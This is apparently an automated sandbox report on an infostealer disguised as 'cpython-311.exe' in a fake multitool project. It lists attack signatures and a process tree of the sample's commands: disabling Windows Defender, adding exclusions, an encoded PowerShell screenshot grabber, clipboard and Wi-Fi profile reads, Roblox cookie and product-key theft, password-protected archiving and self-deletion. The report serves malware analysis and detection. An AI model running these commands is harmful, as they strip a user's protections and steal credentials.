Resubmissions

13-11-2024 18:53

241113-xjyqka1jdp 10

13-11-2024 18:49

241113-xgvwws1jam 10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 18:49

General

  • Target

    Lime-MultiTool-main/src/utils/__pycache__/cpython-311.exe

  • Size

    7.4MB

  • MD5

    1a2ff293768d10b8c99d3cd2950164b9

  • SHA1

    e9123a3d2a53b5f8d008db9608037dd0571f3cae

  • SHA256

    3c09a37412bf3981e5d678b6598c2cdad32fcd6761fc649a50693ba45746e242

  • SHA512

    ff8a853675431bc36d88288546d7f467f239ae2e4e7ef019476ac4ca06f715e88f201753d7201dbfacb3b6dca51be764036372de8a8c0def29e00ae5e9469941

  • SSDEEP

    98304:FWeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTfHfyk6LK4dSI23o7yc:FPYmOshoKMuIkhVastRL5Di3tO/ys42O

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe
    "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:348
    • C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe
      "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2616
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:2608
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe"
          4⤵
          • Views/modifies file attributes
          PID:4924
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏   .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏   .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4048
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3176
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3328
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:1668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2064
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2060
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2912
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:3208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:4352
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:2828
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:2152
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2524
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kcun4ngd\kcun4ngd.cmdline"
              5⤵
                PID:4276
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2C8.tmp" "c:\Users\Admin\AppData\Local\Temp\kcun4ngd\CSC3263D1D726B94F8B873C79A20E74DDF.TMP"
                  6⤵
                    PID:3972
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1812
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:532
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1068
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:4464
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:2256
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:4936
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:4456
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:4624
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          3⤵
                            PID:1480
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              4⤵
                                PID:2160
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                              3⤵
                                PID:1360
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3744
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                3⤵
                                  PID:4388
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1356
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "getmac"
                                  3⤵
                                    PID:4448
                                    • C:\Windows\system32\getmac.exe
                                      getmac
                                      4⤵
                                        PID:4128
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI3482\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\qN1EK.zip" *"
                                      3⤵
                                        PID:4860
                                        • C:\Users\Admin\AppData\Local\Temp\_MEI3482\rar.exe
                                          C:\Users\Admin\AppData\Local\Temp\_MEI3482\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\qN1EK.zip" *
                                          4⤵
                                          • Executes dropped EXE
                                          PID:1420
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                        3⤵
                                          PID:624
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic os get Caption
                                            4⤵
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:372
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                          3⤵
                                            PID:5016
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic computersystem get totalphysicalmemory
                                              4⤵
                                                PID:2684
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                              3⤵
                                                PID:8
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic csproduct get uuid
                                                  4⤵
                                                    PID:4148
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                  3⤵
                                                    PID:4592
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                      4⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1428
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                    3⤵
                                                      PID:3476
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic path win32_VideoController get name
                                                        4⤵
                                                        • Detects videocard installed
                                                        PID:1524
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                      3⤵
                                                        PID:1964
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                          4⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:2064
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\src\utils\__pycache__\cpython-311.exe""
                                                        3⤵
                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                        PID:1324
                                                        • C:\Windows\system32\PING.EXE
                                                          ping localhost -n 3
                                                          4⤵
                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                          • Runs ping.exe
                                                          PID:1448

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

